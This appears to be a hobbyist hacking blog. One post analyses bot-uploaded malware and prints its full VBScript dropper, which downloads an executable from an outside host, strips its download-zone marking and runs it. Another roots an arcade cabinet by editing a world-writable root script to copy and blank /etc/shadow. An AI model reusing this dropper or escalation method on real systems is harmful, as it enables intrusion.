blog.jmp.no

Electronics, coding and hacking. And ADD.

The world's least exciting adventure

2019
18
July

Ok, now that you've waited long for a post, I guess your expectations are equally low. So here's The World's Least Exciting Adventure in reverse-engineering and hacking exploration.

You see, I run an FTP server. It comes in quite handing when moving files quickly between platforms that lack the necessary tools for things like ssh/scp and so on. Like an Amiga 600, for example.

Anyway, on this FTP server I have foolishly allowed for anonymous FTP uploads. Not downloads, mind you, I have no interest in serving files for the dark web and ending up on the naughty list. Once a file is uploaded it is unreadable for anonymous users.

I visit the incoming directory once every blue moon, just to clean up the mess of files uploaded by what's apparently bots. Files like Photo.scr, GXHLGSL.txt, info.zip, IMG001.exe and so on. I remove them, but they reappear after a while, when the next bot stops by.

The uploaded files are obviously viruses, randomware, backdoor installers or something along those lines, but the curiosity got the best of me, so I executed IMG001.exe to see what happened.

Just kidding, I didn't execute it, but I ran the strings command on Linux on it, just to have a peek at its contents, and maybe get a clue. After scrolling through a couple of pages of garbage, some interesting data started to appear -- there were traces of an installer! This file is actually generated by a genuine installer, NSIS version 2.46.

What's even better is that 7zip will gladly extract the installer package without hesitation. Not the installer script per se, but the contents embedded.

I was left with one file, info.vbe, which I suspect the installer would have configured to be executed automatically, maybe as a start-up item. The .vbe extension means this file is an encrypted Visual Basic script, so it's unreadable as-is. Luckily, a guy called Didier Stevens did a decoder in Python, which runs just fine under Linux. Running his script on the vbe file revealed the following short, but simple script:

Set WshShell = CreateObject("WScript.Shell")
If Instr(1,WScript.FullName,"WScript.exe",1)>0 Then
  WshShell.Run "CScript """&WScript.ScriptFullName&"""",0: WScript.Quit
End if
Tmp=WshShell.ExpandEnvironmentStrings("%TEMP%")&"\tmp2.exe"
strFileURL = "http://www.testswork.ru/tmp2.exe"
strHDLocation = Tmp
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1

objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0

Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing

objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if

Set objXMLHTTP = Nothing
Echo=DosCommand("cmd /c (echo [ZoneTransfer] & echo ZoneId=0) > "&Tmp&":Zone.Identifier",2000)
Echo=DosCommand("cmd /c "&Tmp&" ",2000)

WScript.Quit
Function DosCommand(command,sleep)
  Set WshExec=WshShell.Exec(command): WScript.Sleep sleep: WshExec.Terminate()
  DosCommand=WshExec.StdOut.ReadAll

In short, it tries to download tmp2.exe from a (presumably compromised) website in Russia, and then execute it. What this tmp2.exe file does is hard to tell, as it was deleted from the web server at the time of testing. As I mentioned earlier, I guess we could expect some sort of ransomware, virus, botnet client, crypto miner or something similar.

Super simple, super stupid. But since it's a thing, I guess it works.

The next time the file appears I'll be quicker and have a look at the file it wants to download as well.

Maybe you've experienced the same and wanted to know, too. In that case, now you do - at least a portion of it.

Three quick tips for improving your Arcade1UP

2019
7
March

I feel I've had my share of luck with the arcade lately, so I thought hey, why not push it a bit further? It's not over until the box is bricked and I'm all tears and regret. All of these tips require that you have root access on it already.

Boot faster!

The boot process is actually very fast, but the arcade has a few built-in splash screens, which not only takes time to play out, but is also followed by seconds of doing nothing - scripted delays. This happens in /etc/init.d/S99game, and can be removed by adding the # symbol to comment out the lines. By disabling the following lines you will shave a solid 13 seconds off the boot time:

#./mplayer -af volume=-19 -softvol -softvol-max 100 arcade1up.avi
#sleep 1
#cat /root/565/legal.565 > /dev/fb0
#sleep 5

..and the device now boots in less than 6 seconds - that's not too shabby!


Overclock it!

The Linux installation supports frequency scaling, and the current speed can be read with

# cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq

If your arcade is like mine, it should output 1008000. As you can see it's currently set to 1GHz, but the CPU is capable of so much more. I used a stick-on heat sink to assist the cooling a little bit.


Heatsink installed

You can list the supported frequencies with the following command:

# cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_available_frequencies

30000 48000 60000 72000 84000 96000 108000 120000 132000 144000
156000 168000 180000 192000 204000 216000 240000 264000 288000
300000 336000 360000 384000 408000 432000 480000 528000 576000
600000 648000 672000 696000 720000 744000 768000 816000 864000
912000 960000 1008000 1056000 1104000 1152000 1200000 1248000
1296000 1344000 1392000 1440000 1488000

..but that doesn't mean you can pick from the top shelf. I found that my arcade runs stable at 1.248 GHz. Any higher and it will crash immediately.

# echo 1248000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq

Add this to one of the startup files if you want it permanently. For me, I'm still just playing around with it to see what it's capable of.

Low on disk space? Use a memory stick.

Some games are demanding in terms of disk space. If you added the USB port, you can use an USB stick for extra storage. You can mount it as

# mount /dev/uba1 /mnt/udisk

..provided that you have the same partition scheming as I do. You can symlink the games from /root/roms or reconfigure the roms directory in mame.ini.


Reassembled with USB hub and memory stick

As you can see, there's also no problem introducing a USB hub to the equation, in case you want the keyboard and the USB stick connected simultaneously.

Arcade1UP USB, buttons working

2019
4
March

Today I added the USB connector, as described on this Imgur gallery. I'm going to find a more elegant solution to some issues, but it does the job for now.

I used a female USB plug and soldered it to the PCB points using a four wires. They are currently unshielded, but that's not a problem for a low-speed device like a keyboard. Maybe I will find a more elegant solution in the future. The USB plug was then hotglued to the back of the case and will hopefully stay there for a while.


Once connected I could access the MAME menu by pressing the [TAB] key. The arcade buttons was accessible from there, and configurations automatically saved.

Below is the finished solution. That'll do for now. I removed the UART wires as they will be replaced by a BTLE wireless UART module later. The USB keyboard was left inside the arcade in case I need to reconfigure some keys on a later occasion.


Super Mario Bros works perfectly, and I'm looking forward to spending hours of fun with this arcade!

Exploring the Arcade1UP

2019
4
March

About two weeks ago our local Toys'R'Us had a final closing sale with 90% off on all items. Knowing they had a few arcades in the store, I showed up early to get Street Fighter, but since they were all sold out I bought the Asteroids edition instead.

Assembling the game


Beer can for scale

This is the one I bought. Unassembled, flat-packed, IKEA style. Unfortunately I did not take any pictures of the build process, but the manuals were easy to follow, and I spent about half an hour setting it up. Got a little help from my 8 year old daughter, too.


After powering up the device, a menu popped up with a list of four games: Asteroids, Tempest, Major Havoc, and Lunar Lander. All games from the vector era, i.e. graphics composed of just lines.

Not quite my cup of tea to be honest, but it was a calculated risk. If it was too boring, I could do a switcheroo with a Raspberry Pi, or maybe one of those 60-in-1 boards. Either way, I wanted to explore the insides, so last night I decided to pop the lid and see how hackable it is. Spoiler alert: Oh, it is. Very much so.

Finding a serial console

I removed the game PCB, which is located behind the LCD screen. The first thing that caught my eye were the ICs: their surfaces has been etched away to hide the model numbering. This made me question my naïve approach, but I kept going and blindly probed around with the oscilloscope. After foolishly looking for some interesting test points, I stumbled across something interesting: right next to the flat flex cable, where it says "CON4", there's a 4-pin port. The signals were easily identified as: 3V3, TX, RX and GND. Yes, we have a UART.


I soldered a pin header and started looking around for USB-UART modules. Of course, all were gone and the ones I've ordered had not arrived yet. I settled using an Arduino as a temporary substitute. I simply set up a SoftwareSerial and monitored the activity using putty. The UART runs at 115200,8,N,1 and keeping an eye on it at power up shows a long boot log, and reveals that this arcade is running BuildRoot Linux!


Logging in, looking around

After the boot I was dumped at a login prompt. A user named "default" has no password, and spawns a BusyBox shell. The baudrate of 115200 caused a lot of errors, but slowing it down to a baudrate of 19200 (by issuing a stty -F /dev/ttyS0 19200) fixed that. This would not be a problem with a proper UART-USB adapter.

After exploring the file system, the essentials boils down to:

  • The arcade runs MAME. Basically all the files required by the emulator are located in /root.
  • A directory called 565 contains all the menu graphics, which is dumped directly to the framebuffer on demand.
  • Despite the menu only listing four available games, there are a total of seven games installed. The extra game ROMs are Gravitar, Asteroid Deluxe and Street Fighter!
  • The /root directory contains a couple of scripts for mounting and unmounting external storage. I suspect there's a USB port on the board somewhere.
  • A script called "mameload.sh" executes /root/mame with parameters from a file in /tmp.
  • Without root privileges, the adventure appears to end here.
  • Getting root privileges

    I started looking for BuildRoot exploits but couldn't find any easily accessible. The password file /etc/shadow was not readable by me at this point, so I couldn't crack the root password either.

    But wait, hang on - look at that mameload.sh script again, and check out the file mode bits:

    -rwxrwxrwx 2 root root 72 Jan 1  00:01 mameload.sh

    This file belongs to root and all users have write privileges to it! The menu process is also run by root, could this be a loophole to gain root access? Another spoiler alert: Yes it is.

    I added a few commands to the script which took a copy of /etc/shadow in /tmp. Starting a game confirmed that this worked, I had a readable copy in /tmp! Instead of cracking the password, which would probably be trivial, I removed it entirely. I then modified the mameload.sh script once again, this time to take a copy of /tmp/shadow back to /etc.

    And now root no longer needs a password and we have full access!

    Street Fighter!

    "What, this ol' thing? Just my Asteroids arcade running Street Fighter, nothing special."


    Importing a new game

    Importing a game from the "outside" was a bit of a challenge through a serial connection. After some impatient finger drumming, I noticed that uudecode was a part of the BusyBox. This means I can transfer a file as 7-bit text over the serial terminal, and turn it back to 8-bit binary on the arcade side.

    And that worked too! Welcome to your new home, Mario.


    Plans ahead

    I have to admit there's one thing left, and that's configuring the buttons to the new games. I need to read up a little on MAME cfg files, but I think this should be a pretty painless.

    Also, while writing this blog entry, I found that someone has already found the USB port I was talking about earlier. I will attempt to solder a connector to it later today and see how it works out. This will make file transfer much easier.

    Patching the live Amiga ROM

    2019
    27
    February

    As I'm adressing the previous issue with the APECAT board, I'm trying my best to simultaneously plan ahead and clear the road for future obstacles.

    One of the issues I want out of the way is patching the Amiga system ROM, commonly known as the Kickstart.

    As implied, the Kickstart is stored in Read-Only Memory. Physically reprogramming it in situ is pretty much impossible, but thankfully the Amiga developers thought ahead and made a shadow copy of the address vector table in RAM. This table can easily be updated using the exec.library's SetFunction(), which is what I'll be attempting today.

    In the example below I'll be overloading the dos.library's Open() function. To prove it's doing its job, I'll be flashing the screen every time it's called, followed by jumping to the native, original Open() code afterwards.

    For those of you not fluent in 68k assembly, I've included some comments to outline the basics.

    ; exec.library:
    MEMF_PUBLIC=1
    _LVOAllocMem=-198
    _LVOForbid=-132
    _LVOPermit=-138
    _LVOOpenLibrary=-408
    _LVOCloseLibrary=-414
    _LVOSetFunction=-420
    
    ; dos.library:
    _LVOOpen=-30
    
    start:
    	*************************************************
    	* Open dos.library
    	*************************************************
    
    	move.l 4.w,a6
    	lea dosname(pc),a1
    	moveq #0,d0
    	jsr _LVOOpenLibrary(a6)
    
    	lea dosbase(pc),a0
    	move.l d0,(a0)
    
    	*************************************************
    	* Store original function address
    	*************************************************
    
    	move.l d0,a6
    	lea _LVOOpen(a6),a0
    	lea jump(pc),a1
    	move.l 2(a0),2(a1)
    
    	*************************************************
    	* Prohibit multitasking and allocate memory
    	*************************************************
    
    	move.l 4.w,a6
    	jsr _LVOForbid(a6)
    
    	moveq #new_open_function_length,d0
    	moveq #MEMF_PUBLIC,d1
    	jsr _LVOAllocMem(a6)
    	bne.b .memOK
    	moveq #2,d1
    	bra.b .closeDos
    
    .memOK:
    	*************************************************
    	* Copy code to allocated memory
    	*************************************************
    
    	move.l d0,a1
    	lea new_open_function(pc),a0
    	moveq #[new_open_function_length/2]-1,d1
    .copy:	move.w (a0)+,(a1)+
    	dbra d1,.copy
    
    	*************************************************
    	* SetFunction and permit multitasking
    	*************************************************
    
    	lea (_LVOOpen).w,a0
    	move.l 4.w,a6
    	move.l dosbase(pc),a1
    	jsr _LVOSetFunction(a6)
    	jsr _LVOPermit(a6)
    
    	*************************************************
    	* Close lib and exit
    	*************************************************
    
    .closeDos:
    	move.l dosbase(pc),a1
    	jsr _LVOCloseLibrary(a6)
    	moveq #0,d0
    	rts
    
    	*************************************************
    	* My fake custom function
    	*************************************************
    
    new_open_function:
    	move.l #5000,d0
    .s:	move.w d0,$dff180
    	dbra d0,.s
    jump:	jmp $0
    new_open_function_length=*-new_open_function
    
    dosbase:dc.l 0
    dosname:dc.b 'dos.library',0
    

    ...and that's it. We've successfully patched the ROM, and here it is in action to prove that it works. I'm running the program, and then loading a file, which consequentally triggers the Open() function in dos.library. As you can see, the screen flashes in many colors before loading the file.


    This is also an accidental step-by-step tutorial in case you want to write a virus for the Amiga. Just make it survive a reset and let Hell break loose. Or not. Please don't.

    But why do I want to patch the Kickstart in the first place? And why would I patch it before anything has been loaded or is running? Make a guess and wait for the next post. Bonus points if you get it right.

    Add to Google